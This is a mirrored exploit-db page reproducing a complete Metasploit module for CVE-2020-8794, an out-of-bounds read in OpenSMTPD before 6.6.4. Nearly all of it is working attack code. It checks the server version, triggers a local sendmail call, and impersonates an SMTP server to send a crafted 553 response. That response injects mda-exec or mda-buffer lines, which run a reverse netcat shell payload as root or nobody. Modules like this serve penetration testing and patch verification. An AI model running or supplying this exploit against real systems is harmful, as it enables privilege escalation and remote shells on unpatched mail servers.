OpenSMTPD – OOB Read Local Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2020-03-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48185/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
    
    # smtpd(8) may crash on a malformed message
    Rank = AverageRanking
    
    include Msf::Exploit::Remote::TcpServer
    include Msf::Exploit::Remote::AutoCheck
    include Msf::Exploit::Expect
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation',
    'Description'=> %q{
    This module exploits an out-of-bounds read of an attacker-controlled
    string in OpenSMTPD's MTA implementation to execute a command as the
    root or nobody user, depending on the kind of grammar OpenSMTPD uses.
    },
    'Author' => [
    'Qualys', # Discovery and PoC
    'wvu' # Module
    ],
    'References' => [
    ['CVE', '2020-8794'],
    ['URL', 'https://seclists.org/oss-sec/2020/q1/96']
    ],
    'DisclosureDate' => '2020-02-24',
    'License'=> MSF_LICENSE,
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'Privileged' => true, # NOTE: Only when exploiting new grammar
    # Patched in 6.6.4: https://www.opensmtpd.org/security.html
    # New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546
    'Targets'=> [
    ['OpenSMTPD < 6.6.4 (automatic grammar selection)',
    patched_version: Gem::Version.new('6.6.4'),
    new_grammar_version: Gem::Version.new('6.4.0')
    ]
    ],
    'DefaultTarget'=> 0,
    'DefaultOptions' => {
    'SRVPORT'=> 25,
    'PAYLOAD'=> 'cmd/unix/reverse_netcat',
    'WfsDelay' => 60 # May take a little while for mail to process
    },
    'Notes'=> {
    'Stability'=> [CRASH_SERVICE_DOWN],
    'Reliability'=> [REPEATABLE_SESSION],
    'SideEffects'=> [IOC_IN_LOGS]
    }
    ))
    
    register_advanced_options([
    OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
    ])
    
    # HACK: We need to run check in order to determine a grammar to use
    options.remove_option('AutoCheck')
    end
    
    def srvhost_addr
    Rex::Socket.source_address(session.session_host)
    end
    
    def rcpt_to
    "#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"
    end
    
    def check
    smtpd_help = cmd_exec('smtpd -h')
    
    if smtpd_help.empty?
    return CheckCode::Unknown('smtpd(8) help could not be displayed')
    end
    
    version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first
    
    unless version
    return CheckCode::Unknown('OpenSMTPD version could not be found')
    end
    
    version = Gem::Version.new(version)
    
    if version < target[:patched_version]
    if version >= target[:new_grammar_version]
    vprint_status("OpenSMTPD #{version} is using new grammar")
    @grammar = :new
    else
    vprint_status("OpenSMTPD #{version} is using old grammar")
    @grammar = :old
    end
    
    return CheckCode::Appears(
    "OpenSMTPD #{version} appears vulnerable to CVE-2020-8794"
    )
    end
    
    CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794")
    end
    
    def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super
    
    start_service
    
    sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true"
    
    print_status("Executing local sendmail(8) command: #{sendmail}")
    if cmd_exec(sendmail) != 'true'
    fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')
    end
    end
    
    def on_client_connect(client)
    print_status("Client #{client.peerhost}:#{client.peerport} connected")
    
    # Brilliant work, Qualys!
    case @grammar
    when :new
    print_status('Exploiting new OpenSMTPD grammar for a root shell')
    
    yeet = <<~EOF
    553-
    553
    
    dispatcher: local_mail
    type: mda
    mda-user: root
    mda-exec: #{payload.encoded}; exit 0\x00
    EOF
    when :old
    print_status('Exploiting old OpenSMTPD grammar for a nobody shell')
    
    yeet = <<~EOF
    553-
    553
    
    type: mda
    mda-method: mda
    mda-usertable: <getpwnam>
    mda-user: nobody
    mda-buffer: #{payload.encoded}; exit 0\x00
    EOF
    else
    fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar')
    end
    
    sploit = {
    '220' => /EHLO /,
    '250' => /MAIL FROM:<[^>]/,
    yeet=> nil
    }
    
    print_status('Faking SMTP server and sending exploit')
    sploit.each do |line, pattern|
    send_expect(
    line,
    pattern,
    sock:client,
    newline: "\r\n",
    timeout: datastore['ExpectTimeout']
    )
    end
    rescue Timeout::Error => e
    fail_with(Failure::TimeoutExpired, e.message)
    ensure
    print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")
    client.close
    end
    
    def on_client_close(client)
    print_status("Client #{client.peerhost}:#{client.peerport} disconnected")
    end
    
    end